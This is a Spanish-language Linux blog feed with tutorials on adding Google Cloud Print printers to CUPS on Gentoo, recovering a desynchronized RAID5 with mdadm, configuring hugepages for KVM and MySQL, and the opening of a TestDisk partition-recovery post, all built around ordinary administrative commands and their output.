tag:blogger.com,1999:blog-5078920799641670312024-03-13T05:06:10.219+01:00make install . esNoticias, apuntes y pequeños tutoriales sobre GNU/LinuxAnonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.comBlogger40125tag:blogger.com,1999:blog-507892079964167031.post-41008185820579306402012-09-05T17:38:00.001+02:002012-09-05T17:39:11.923+02:00Añadir una impresora de Google Cloud Print en Linux<a href="http://www.google.com/cloudprint/learn/">Google Cloud Print</a> es un servicio que permite usar una impresora desde cualquier ordenador con acceso a internet. Si su navegador es <a href="http://www.chromium.org/">chromium</a> o <a href="www.google.com/chrome">chrome</a> puede añadir una impresora que forme parte de Google Cloud Print fácilmente; sin embargo solo la podrá usar desde chromium/chrome. En esta entrada se verá como añadir una impresora, que forme parte de Google Cloud Print, directamente a <a href="http://www.cups.org/">CUPS</a>; de forma que podrá ser utilizada por cualquier aplicación.<br />
<a name='more'></a><br />
La tarea es muy sencilla gracias a la utilidad <a href="https://github.com/simoncadman/CUPS-Cloud-Print">CUPS-Cloud-Print</a> de <a href="http://www.niftiestsoftware.com/">Simon Cadman</a>. Aunque antes de nada es necesario tener instalado e iniciado el servidor CUPS. <br />
<br />
Los usuarios de Debian/Red Hat y derivados pueden descargar los paquetes <a href="https://github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint_20120823-1_all.deb">.deb</a> y <a href="https://github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823-1.noarch.rpm">.rpm</a>. Los usuarios de Gentoo, deben de obtener el <a href="https://github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823.ebuild">.ebuild</a>, colocarlo en el overlay local y generar los archivos manifest y digest.<br />
<br />
A continuación se indican los pasos seguidos para crear un overlay, generar los archivos manifiest y digest del nuevo ebuild e instalar <b>cupscloudprint</b> en gentoo:<br />
<pre class="brush: bash"># echo 'PORTDIR_OVERLAY="/usr/local/portage"' >> /etc/make.conf
# mkdir /usr/local/portage
# cd /usr/local/portage/
# mkdir -p net-print/cupscloudprint
# cd net-print/cupscloudprint
# wget https://github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823.ebuild
--2012-08-30 23:46:04-- https://github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823.ebuild
Resolviendo github.com... 207.97.227.239
Conectando con github.com[207.97.227.239]:443... conectado.
Petición HTTP enviada, esperando respuesta... 302 Found
Localización: http://cloud.github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823.ebuild [siguiendo]
--2012-08-30 23:46:04-- http://cloud.github.com/downloads/simoncadman/CUPS-Cloud-Print/cupscloudprint-20120823.ebuild
Resolviendo cloud.github.com... 54.240.172.58, 54.240.172.162, 54.240.172.96, ...
Conectando con cloud.github.com[54.240.172.58]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 713 [application/octet-stream]
Grabando a: “cupscloudprint-20120823.ebuild”
100%[======================================>] 713 --.-K/s en 0s
2012-08-30 23:46:05 (157 MB/s) - “cupscloudprint-20120823.ebuild” guardado [713/713]
# echo "net-print/cupscloudprint" >> /etc/portage/package.keywords
# pwd
/usr/local/portage/net-print/cupscloudprint
# ebuild cupscloudprint-20120823.ebuild digest
>>> Creating Manifest for /usr/local/portage/net-print/cupscloudprint
# emerge -va cupscloudprint
These are the packages that would be merged, in order:
Calculating dependencies... done!
[ebuild N ] dev-python/pycups-1.9.61 USE="-doc -examples" 51 kB
[ebuild N ] dev-python/httplib2-0.6.0 53 kB
[ebuild N ~] net-print/cupscloudprint-20120823::x-portage 0 kB
Total: 3 packages (3 new), Size of downloads: 104 kB
Would you like to merge these packages? [Yes/No]
</pre>Una vez instalado <b>cupscloudprint</b>, tan solo debe ejecutar /usr/lib/cloudprint-cups/setupcloudprint.py para añadir las impresoras disponibles en la cuenta indicada:<br />
<pre class="brush: bash"># /usr/lib/cloudprint-cups/setupcloudprint.py
Name for this user account ( eg something@gmail.com )? printer@guillen.com.es
Open this URL, grant access to CUPS Cloud Print, then provide the code displayed :
https://accounts.google.com/o/oauth2/auth?scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloudprint&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&client_id=848034355215.apps.googleusercontent.com&access_type=offline</pre>Tras acceder al link indicado, Google preguntará si desea conceder acceso a cupscloudprint. Tras pulsar en permitir, facilitará una clave de paso.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU-0Wq-rHp9FKoReDxEvlLfr7yL2lt07AvEJt31k-ryy125RZDY1vjlRwNSA-2MBvn0HBs-sVP9GJX6scrDG9KXWqkSMiVXe-nveSqCWeh7nZUs8bKD95Q06wSgwhCc_ywOUkSOhmXMLQ/s1600/Selection_094.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU-0Wq-rHp9FKoReDxEvlLfr7yL2lt07AvEJt31k-ryy125RZDY1vjlRwNSA-2MBvn0HBs-sVP9GJX6scrDG9KXWqkSMiVXe-nveSqCWeh7nZUs8bKD95Q06wSgwhCc_ywOUkSOhmXMLQ/s640/Selection_094.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNrIrsRGqm2TRm5yfcl2aTXodhJnx_amamcrLM1Jd8JkMcdhi0v3pyFtmoKWEvXc6Z9pZtjQWAG7RnjN7oR8WAk9H-se-1sDLisSatS28NadFRZbXug0UkULJWyksL0RZTnI7Mcr9Ooxs/s1600/Selection_093.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="84" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNrIrsRGqm2TRm5yfcl2aTXodhJnx_amamcrLM1Jd8JkMcdhi0v3pyFtmoKWEvXc6Z9pZtjQWAG7RnjN7oR8WAk9H-se-1sDLisSatS28NadFRZbXug0UkULJWyksL0RZTnI7Mcr9Ooxs/s640/Selection_093.png" width="640" /></a></div><pre class="brush: bash">Code from Google: 4/aoIzbQ_____.kyuO_____gczOI
You currently have these accounts configured:
printer@guillen.com.es
Add more accounts? n
Add all Google Cloud Print printers to local CUPS install from printer@guillen.com.es ? y
Use a prefix for names of created printers ( e.g. GCP- )?
Added HP_LaserJet_P1005
Added Save_to_Google_Docs
Added 2 new printers to CUPS</pre>Si accede a <a href="http://127.0.0.1:631/printers/">127.0.0.1:631</a>, podrá ver las impresoras disponibles.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUnq0t2mALBcacGxb2GzQxdEeSkrrqKnYl2yjOFg3wLIuVeE08KfmQVXQ3evwk8EzvGPrhWRcK7O1lm0bAy3DVT0Huz191YECZigXk-KV-7iDjwn_UvNrlGHmN64361x69v2VLNtbsCrY/s1600/Selection_096.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="146" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUnq0t2mALBcacGxb2GzQxdEeSkrrqKnYl2yjOFg3wLIuVeE08KfmQVXQ3evwk8EzvGPrhWRcK7O1lm0bAy3DVT0Huz191YECZigXk-KV-7iDjwn_UvNrlGHmN64361x69v2VLNtbsCrY/s640/Selection_096.png" width="640" /></a></div>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-41085082122137645992012-03-19T18:21:00.000+01:002012-03-19T18:21:08.388+01:00Recuperar raid5 tras fallar más de un discoUn raid5 esta formado por un mínimo de tres discos duros, en uno de los cuales se almacenan los datos de paridad y en el resto de discos se distribuyen los datos. Esta estructura proporciona mayor velocidad de lectura/escritura y redundancia, permitiendo un fallo de un disco sin pérdida de datos. ¿Pero que ocurre ante un fallo <i>-no físico-</i> en dos discos de un raid5? En la mayoría de casos supondrá la perdida total de datos, en otros, con suerte, podrá recuperar los datos. En esta entrada se verá como, en determinadas circunstancias, se pueden recuperar los datos de un raid5 <i>-de tres discos-</i> tras un fallo en dos discos.<br />
<a name='more'></a><fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- El problema</a></li>
<li><a href="#2">2.- La solución</a></li>
</ul></fieldset><br />
<span class="title1"><a name="1">1.- El problema</a></span><br />
Tras detectar que el raid5 dejó de funcionar, lo primero que hice fue revisar el buffer de mensajes del núcleo mediante <i>dmesg</i>. Y lo que encontré fue lo que ningún usuario de un raid5 quiere encontrar, un fallo en dos de tres discos del raid5:<pre class="brush: text;">[45654.643107] md/raid:md0: Disk failure on sdc1, disabling device.
[45654.643108] md/raid:md0: Operation continuing on 2 devices.
[45654.643115] md/raid:md0: Disk failure on sdd1, disabling device.
[45654.643115] md/raid:md0: Operation continuing on 1 devices.</pre>Detuve todos los servicios y reinicie el PC en nivel monousuario. Tal y como temía el raid no levantó.<pre class="brush: text">agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Wed Sep 28 02:11:56 2011
State : clean, FAILED
Active Devices : 1
Working Devices : 1
Failed Devices : 2
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 441
Number Major Minor RaidDevice State
0 0 0 0 removed
1 8 81 1 active sync /dev/sdf1
2 0 0 2 removed
3 8 33 - faulty spare /dev/sdc1
4 8 49 - faulty spare /dev/sdd1</pre>El problema debía ser lógico, ya que los discos duros funcionan bien. Por ello comencé a buscar el origen del problema con la esperanza de recuperar los casi 3TB de datos que había en el raid5. Los logs no habían registrado nada. Pero al analizar la salida de <i>mdadm --examine</i> de las unidades del raid, encontré algo raro:<br />
<pre class="brush: text">agd-desktop # mdadm --examine /dev/sd[c,d,f]1
/dev/sdc1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3
Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : 29f6b0d9:7a970ca6:3508db7b:f4b1af2b
Update Time : Tue Sep 27 01:47:16 2011
Checksum : 16200b11 - correct
Events : 432
Layout : left-symmetric
Chunk Size : 512K
Device Role : Active device 2
Array State : AAA ('A' == active, '.' == missing)
/dev/sdd1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3
Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : f60a260f:2d97a646:746c8b79:77c3bbc7
Update Time : Tue Sep 27 01:47:16 2011
Checksum : 85eb9553 - correct
Events : 432
Layout : left-symmetric
Chunk Size : 512K
Device Role : Active device 0
Array State : AAA ('A' == active, '.' == missing)
/dev/sdf1:
Magic : a92b4efc
Version : 1.2
Feature Map : 0x0
Array UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Name : agd-desktop:0 (local to host agd-desktop)
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Raid Devices : 3
Avail Dev Size : 2930061109 (1397.16 GiB 1500.19 GB)
Array Size : 5860120576 (2794.32 GiB 3000.38 GB)
Used Dev Size : 2930060288 (1397.16 GiB 1500.19 GB)
Data Offset : 2048 sectors
Super Offset : 8 sectors
State : clean
Device UUID : 62b27e87:5d8c5c9a:6aa8af8e:30f4e6c2
Update Time : Wed Sep 28 02:15:01 2011
Checksum : 6247f6a9 - correct
Events : 445
Layout : left-symmetric
Chunk Size : 512K
Device Role : Active device 1
Array State : .A. ('A' == active, '.' == missing)</pre>Si, exacto, los discos del raid se han desincronizado. De hecho es curioso porque los discos /dev/sdc1 y /dev/sdd1 se han quedado <i>en el pasado</i> y creen que el raid sigue activo (Array State : AAA); mientras que /dev/sdf1 ha <i>avanzado en el tiempo</i> y ha detectado que faltan dos discos (Array State : .A.). Aunque la forma más clara de ver todo esto es mirando las fechas de actualización de cada unidad del raid:<pre class="brush: text">agd-desktop # mdadm --examine /dev/sd[c,d,f]1 | grep "Update Time"
Update Time : Tue Sep 27 01:47:16 2011
Update Time : Tue Sep 27 01:47:16 2011
Update Time : Wed Sep 28 02:15:01 2011</pre><br />
<span class="title1"><a name="2">2.- La solución</a></span><br />
<blockquote class="pullquote">A partir de aquí es recomendable trabajar sobre copias de los discos originales</blockquote>El problema radica en una desincronización en las actualizaciones de las unidades del raid. Por ello es lógico suponer que no existen desincronización en los datos. Si este es el caso, se podría forzar el montaje del raid asumiendo que todas las unidades <i>están limpias</i>. En mi caso, y ante la duda de que haría el kernel con las fechas de actualización de cada disco, opte por reensamblar el raid forzando las unidades sdc1 y sdd1 como limpias.<pre class="brush: text">agd-desktop # mdadm --assemble --force /dev/md0 /dev/sdc1 /dev/sdd1
mdadm: /dev/md0 has been started with 2 drives (out of 3).
agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 2
Persistence : Superblock is persistent
Update Time : Wed Sep 28 02:45:28 2011
State : clean, degraded
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 440
Number Major Minor RaidDevice State
4 8 49 0 active sync /dev/sdd1
1 0 0 1 removed
3 8 33 2 active sync /dev/sdc1
agd-desktop # mount /dev/md0 /mnt/</pre>Tras comprobar que ha funcionado, y que hemos recuperado toda la información, tan solo nos quedaría añadir la siguiente unidad al raid y esperar a que se sincronice.<pre class="brush: text">agd-desktop # mdadm --add /dev/md0 /dev/sdf1
mdadm: re-added /dev/sdf1
agd-desktop # mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed Sep 22 17:02:27 2010
Raid Level : raid5
Array Size : 2930060288 (2794.32 GiB 3000.38 GB)
Used Dev Size : 1465030144 (1397.16 GiB 1500.19 GB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Wed Sep 28 02:47:50 2011
State : clean, degraded, recovering
Active Devices : 2
Working Devices : 3
Failed Devices : 0
Spare Devices : 1
Layout : left-symmetric
Chunk Size : 512K
Rebuild Status : 0% complete
Name : agd-desktop:0 (local to host agd-desktop)
UUID : 2b33bce9:f30571d8:efe03c61:898a4e57
Events : 444
Number Major Minor RaidDevice State
4 8 49 0 active sync /dev/sdd1
1 8 81 1 spare rebuilding /dev/sdf1
3 8 33 2 active sync /dev/sdc1</pre>El proceso de reconstrucción puede ser controlado mediante <i>watch cat /proc/mdstat</i>:<pre class="brush: text">agd-desktop # watch cat /proc/mdstat
Every 2,0s: cat /proc/mdstat Wed Sep 28 02:49:25 2011
Personalities : [raid6] [raid5] [raid4]
md0 : active raid5 sdf1[1] sdd1[4] sdc1[3]
2930060288 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]
[>....................] recovery = 0.5% (8258560/1465030144) finish=275.
5min speed=88116K/sec
unused devices: <none></pre>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com1tag:blogger.com,1999:blog-507892079964167031.post-69436032683737506592012-02-22T16:26:00.000+01:002012-02-22T18:47:47.422+01:00Kernel Linux: Transparent Hugepage SupportA mayor cantidad de memoria RAM disponible, el desempeño general del equipo debería ser mayor. Sin embargo en servidores con grandes cantidades de RAM puede darse la paradoja de que el rendimiento disminuya conforme aumenta la cantidad de RAM, incluso podría llegarse al extremo de que los procesos dejen de ejecutarse porque deben de esperar de forma indefinida hasta conseguir que el kernel le asigne memoria RAM.<br />
<br />
¿Como es posible que un servidor con muchos gigas de RAM tenga peor desempeño que otro con muchos menos gigas de RAM? Porque a mayor cantidad de memoria RAM, deben de cachearse mayor número de páginas de memoria. Así, por ejemplo, un servidor con 12GiB de RAM con el tamaño de página por defecto (4KiB), tendría una tabla de paginación con 3.145.728 de páginas. Hugepages permite páginas de mayor tamaño, por defecto 2MiB en Linux x86_64 y x86-PAE, y 4MiB en Linux x86. Así, por ejemplo, un servidor Linux x86_64 con 12GiB de RAM y hugepages tendría una tabla de paginación con solo 6.144 páginas.<blockquote class="pullquote">Tenga en cuenta que hugepages puede incrementar el uso de RAM</blockquote><br />
Por tanto hugepages permite tablas de paginación mas reducidas y un menor uso de ciclos de CPU en la gestión de las páginas de memoria. Lo cual redunda en un aumento en el desempeño del servidor. En este tutorial se verá como configurar hugepages.<br />
<a name='more'></a><br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- Antecedentes</a></li>
<li><a href="#2">2.- ¿Qué es hugepages?</a></li>
<li><a href="#3">3.- Configurar hugepages</a></li>
<li class="li2snd"><a href="#3-1">3.1.- Añadir soporte para hugepages en el kernel</a></li>
<li class="li2snd"><a href="#3-2">3.2.- Crear un sistema de archivos virtual hugetlbfs</a></li>
<li><a href="#4">4.- Configurar kvm con hugepages</a></li>
<li><a href="#5">5.- Configurar mysql con hugepages</a></li>
</ul></fieldset><br />
<span class="title1"><a name="1">1.- Antecedentes</a></span><br />
Todos los procesos consumen una determinada cantidad de RAM. Y el sistema operativo debe de gestionar los datos almacenados en RAM por cada proceso. Las CPU x86 y x86_64 trabajan con fragmentos de 4KiB, llamados páginas. Puesto que el espacio de direcciones es virtual, la CPU y el sistema operativo deben de recordar que pagina pertenece a cada proceso y donde se almacena, lo cual consiguen mantenimiento una <a href="http://es.wikipedia.org/wiki/Tabla_de_paginaci%C3%B3n">tabla de paginación</a> por cada proceso. La función de la tabla de paginación es traducir las direcciones de memoria virtual (o lógica) a direcciones de memoria física.<br />
<br />
<br />
<span class="title1"><a name="2">2.- ¿Qué es hugepages?</a></span><br />
Al usar paginas de 4KiB, se obtiene una buena relación entra el uso de ciclos de CPU y el consumo de RAM en aplicaciones genéricas. Sin embargo cuando un proceso consume gran cantidad de RAM, el uso de páginas de 4KiB origina que deban de leerse muchas páginas para recuperar los datos almacenados por dicho proceso, lo que provoca un uso excesivo de ciclos de CPU. Así, por ejemplo, si un proceso consume 1GiB de RAM serían necesarios 262.144 páginas (1GiB / 4KiB) y 262.144 ciclos de CPU para poder leer todos los datos almacenados por dicho proceso. <br />
<br />
Las <b>hugepages</b> tienen como objetivo minimizar este problema creando páginas de gran tamaño (por defecto 2MiB en x86_64 y x86-PAE, y 4MiB en x86). Así, por ejemplo, en un sistema con un proceso que consuma 1GiB de RAM, y hugepages correctamente configurado, la CPU tan solo debería de leer 512 páginas (1GiB / 2MiB) en lugar de 262.144 paǵinas (1GiB / 4KiB). Por tanto las hugepages permiten aumentar el rendimiento al disminuir los ciclos de CPU necesarios para la paginación; y además disminuye el uso de memoria necesaria para mantener las tablas de paginación, puesto que no es lo mismo el tamaño que ocupa una tabla de paginación que guarda la referencia a 512 páginas que otra que guarda referencia a 262.144 páginas.<br />
<br />
Algo que debe tener en cuenta, es que al configurar hugepages en el kernel usted decide si desea que hugepages sea utilizado siempre (CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS) o bajo petición (CONFIG_TRANSPARENT_HUGEPAGE_MADVISE). Si usted está configurando un servidor que realiza un trabajo intensivo con datos (bases de datos, múltiples instancias de maquinas virtuales...) puede configurar el uso de hugepages siempre, aunque corre el riesgo de aumentar el uso de memoria RAM sin garantías de beneficio. En cualquier otro caso, la mejor opción, es configurar hugepages bajo petición, y configurar los programas, que hacen un uso intensivo de RAM, para que usen las hugepages en lugar de las páginas de 4KiB.<br />
<br />
<br />
<span class="title1"><a name="3">3.- Configurar hugepages</a></span><br />
<span class="title1"><a name="3-1">3.1.- Añadir soporte para hugepages en el kernel</a></span><br />
Deberá de compilar el soporte de hugepages en el kernel, si no esta seguro si su kernel tiene soporte para hugepages puede verificarlo <i>grep -i hugepage /usr/src/linux/.config</i><br />
<pre class="brush: text">agd-server # grep -i hugepage /usr/src/linux/.config
CONFIG_TRANSPARENT_HUGEPAGE=y
# CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set
CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y</pre>En caso de que no tenga soporte para hugepages, puede activarlo en <i>Processor type and features --> Transparent Hugepage Support</i> y <i>Pseudo filesystems --> HugeTLB file system support</i>.<br />
<pre class="brush: text, highlight: [12,13]">┌────────────────────── Processor type and features ─────────────────────┐
│ Arrow keys navigate the menu. <Enter> selects submenus --->. │
│ Highlighted letters are hotkeys. Pressing <Y> includes, <N> excludes, │
│ <M> modularizes features. Press <Esc><Esc> to exit, <?> for Help, </> │
│ for Search. Legend: [*] built-in [ ] excluded <M> module < > │
│ ┌────^(-)────────────────────────────────────────────────────────────┐ │
│ │ -*- Allow for memory compaction │ │
│ │ -*- Page migration │ │
│ │ [*] Enable KSM for page merging │ │
│ │ (4096) Low address space to protect from user allocation │ │
│ │ [ ] Enable recovery from hardware memory errors │ │
│ │ [*] Transparent Hugepage Support │ │
│ │ Transparent Hugepage Support sysfs defaults (madvise) --->│ │
│ │ [*] Enable cleancache driver to cache clean pages if tmem is pre│ │
│ │ [ ] Check for low memory corruption │ │
│ │ (64) Amount of low memory, in kilobytes, to reserve for the BIOS│ │
│ └────v(+)────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│ <Select> < Exit > < Help > │
└────────────────────────────────────────────────────────────────────────┘</pre><pre class="brush: text, highlight: 12">┌────────────────────────── Pseudo filesystems ──────────────────────────┐
│ Arrow keys navigate the menu. <Enter> selects submenus --->. │
│ Highlighted letters are hotkeys. Pressing <Y> includes, <N> excludes, │
│ <M> modularizes features. Press <Esc><Esc> to exit, <?> for Help, </> │
│ for Search. Legend: [*] built-in [ ] excluded <M> module < > │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ -*- /proc file system support │ │
│ │ [ ] /proc/kcore support │ │
│ │ [*] Tmpfs virtual memory file system support (former shm fs) │ │
│ │ [*] Tmpfs POSIX Access Control Lists │ │
│ │ -*- Tmpfs extended attributes │ │
│ │ [*] HugeTLB file system support │ │
│ │ < > Userspace-driven configuration filesystem │ │
│ │ │ │
│ │ │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
├────────────────────────────────────────────────────────────────────────┤
│ <Select> < Exit > < Help > │
└────────────────────────────────────────────────────────────────────────┘</pre><br />
<span class="title1"><a name="3-2">3.2.- Crear un sistema de archivos virtual hugetlbfs</a></span><br />
Primero debe crear un punto de montaje para hugepages:<br />
<pre class="brush: text">agd-server # mkdir /mnt/hugepages</pre>A continuación debe editar /etc/fstab y añadir una nueva entrada para montar el sistema de archivos virtual hugetlbfs en el punto de montaje anteriormente creado:<br />
<pre class="brush: text">agd-server # echo "" >> /etc/fstab
agd-server # echo "hugetlbfs /mnt/hugepages hugetlbfs defaults 0 0" >> /etc/fstab</pre>Por último debe indicar el número de hugapages que debe contener el sistema de archivos virtual hugetlbfs. Para ello deberá editar el archivo de configuración <i>/etc/sysctl.conf</i> y añadir la variable <i>vm.nr_hugepages = X</i>, donde X es el número de hugepages que desea asignar.<br />
<br />
A continuación podrá ver un ejemplo donde se reserva 1GiB de RAM para hugepages, recuerde que el tamaño de hugepage por defecto es de 2MiB (1GiB / 2MiB == 500 paginas):<br />
<pre class="brush: text">agd-server # echo "" >> /etc/sysctl.conf
agd-server # echo "# Asignar 500 paginas de 2MiB (1GiB) para HugePageTables" >> /etc/sysctl.conf
agd-server # echo "vm.nr_hugepages = 500" >> /etc/sysctl.conf</pre>En caso de que desee reservar el uso de esta hugepages para un grupo concreto, puede indicarlo mediante la variable <i>vm.hugetlb_shm_group = GID</i>, donde GID es la ID del grupo que tendrá acceso a las hugepages.<br />
<br />
En el ejemplo siguiente, se reservará el uso de la hugepage recien creada al grupo con ID 990, que en el ejemplo se corresponde al grupo hugepages:<br />
<pre class="brush: text">agd-server # echo "" >> /etc/sysctl.conf
agd-server # echo "# Restringir el acceso a hugepages al grupo hugepages (GID 990)" >> /etc/sysctl.conf
agd-server # echo "vm.hugetlb_shm_group = 990" >> /etc/sysctl.conf</pre>Tras reiniciar el PC, su sistema, tendrá configurado un bloque de 1GiB de RAM (500 * 2MiB) para hugepages. Recuerde que puede consultar el uso de hugepages en <i>/proc/meminfo</i>; a continuación podrá ver la salida que arroja <i>/proc/meminfo</i> en un sistema configurado con 500 páginas de 2MiB.<br />
<pre class="brush: text">agd-server # grep -i huge /proc/meminfo
AnonHugePages: 0 kB
HugePages_Total: 500
HugePages_Free: 500
HugePages_Rsvd: 0
HugePages_Surp: 0
Hugepagesize: 2048 kB</pre>Como puede ver, en el ejemplo anterior, en el sistema no hay ningún programa que este haciendo uso de hugepages, ya que las 500 hugepages están libres. A continuación se mostrará como configurar kvm para que haga uso de hugepages.<br />
<br />
<br />
<span class="title1"><a name="4">4.- Configurar kvm con hugepage</a></span><br />
Para que las máquinas virtuales hagan uso de las páginas hugepage, debe modificar el archivo de configuración xml de cada máquina virtual. Los archivos de configuración de las máquinas virtuales se alojan en <i>/etc/libvirt/qemu/</i>. Y deberá de agregar las siguientes <i>etiquetas</i>:<br />
<pre class="brush: text"><memoryBacking>
<hugepages/>
</memoryBacking></pre>Puede agregar dichas <i>etiquetas</i> en cualquier lugar, siempre y cuando este entre las etiquetas <domain type=""></domain>. Aunque para mantener el orden y facilitar la administración posterior, es recomendable que las coloque justo debajo de la <i>etiqueta</i> que indica la cantidad de memoria asignada a la máquina virtual. A continuación podrá ver un ejemplo del lugar propuesto:<br />
<pre class="brush: text, highlight: [6,7,8]"><domain type='kvm'>
<name>samba-server</name>
<uuid>e2f2e004-1327-ed1e-5061-2e7eff2d6f1a</uuid>
<memory>524288</memory>
<currentmemory>524288</currentMemory>
<memorybacking>
<hugepages/>
</memoryBacking>
<vcpu>2</vcpu>
<os>
...
...</pre>Debe tener en cuenta que deberá modificar los archivos de configuración xml de todas las máquinas virtuales en la que desee usar hugepage. Y, salvo que se traten de máquinas de pruebas que inicie de forma esporádica, es recomendable que active hugepage para todas las maquinas virtuales que use.<br />
<br />
También debe de tener en cuenta que cada máquina virtual consume un extra de 16MiB, por lo que la máquina del ejemplo consume 528MiB (264 hugepages) en lugar de los 512MiB (256 hugepages) que tiene asignados. Este hecho deberá tenerlo en cuenta cuando fije el número hugepages que desea crear.<br />
<br />
<br />
<span class="title1"><a name="5">5.- Configurar mysql con hugepage</a></span><br />
Para hacer que mysql use hugepages, tan solo debe editar <i>/etc/mysql/my.cnf</i> y añadir la opción <i>large-pages</i> en la sección <i>[mysqld]</i>. A continuación se muestra un ejemplo:<br />
<pre class="brush: text">[mysqld]
large-pages
...
...</pre>Recuerde que si usted restringió el acceso a hugepages a un grupo concreto, deberá añadir el usuario mysql al grupo. Siguiendo el ejemplo usado anteriormente en este tutorial, se debería añadir mysql al grupo hugepages.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-78843087922659409172011-11-10T15:15:00.000+01:002011-11-10T15:17:01.940+01:00Recuperar tabla de particiones con TestDiskEn este entrada se verá como recuperar la tabla de particiones de un disco duro, para ello se hará uso de la herramienta <a href="http://www.cgsecurity.org/wiki/TestDisk" >TestDisk</a>.<br />
<a name='more'></a> <br />
Al conectar un disco duro al ordenador, el kernel lo detectará y buscará en él la tabla de particiones. En caso de que encuentre la tabla de particiones, creará los correspondientes punteros en el sistema de archivos virtual <i>/dev/disk/</i>. Si la tabla de particiones está dañada, el kernel simplemente creará un puntero hacia el dispositivo en <i>/dev/disk</i>.<br />
<br />
A continuación verá la información que arroja el kernel al conectar un disco duro cuya tabla de particiones está dañada:<br />
<pre class="brush: text"; highlight: 9;>[ 2146.567695] sd 9:0:0:0: Attached scsi generic sg13 type 0
[ 2146.568249] sd 9:0:0:0: [sdm] 1465149168 512-byte logical blocks: (750 GB/698 GiB)
[ 2146.568995] sd 9:0:0:0: [sdm] Write Protect is off
[ 2146.568998] sd 9:0:0:0: [sdm] Mode Sense: 00 38 00 00
[ 2146.569741] sd 9:0:0:0: [sdm] Asking for cache data failed
[ 2146.569743] sd 9:0:0:0: [sdm] Assuming drive cache: write through
[ 2146.571866] sd 9:0:0:0: [sdm] Asking for cache data failed
[ 2146.571868] sd 9:0:0:0: [sdm] Assuming drive cache: write through
[ 2146.586858] sdm:
[ 2146.589227] sd 9:0:0:0: [sdm] Asking for cache data failed
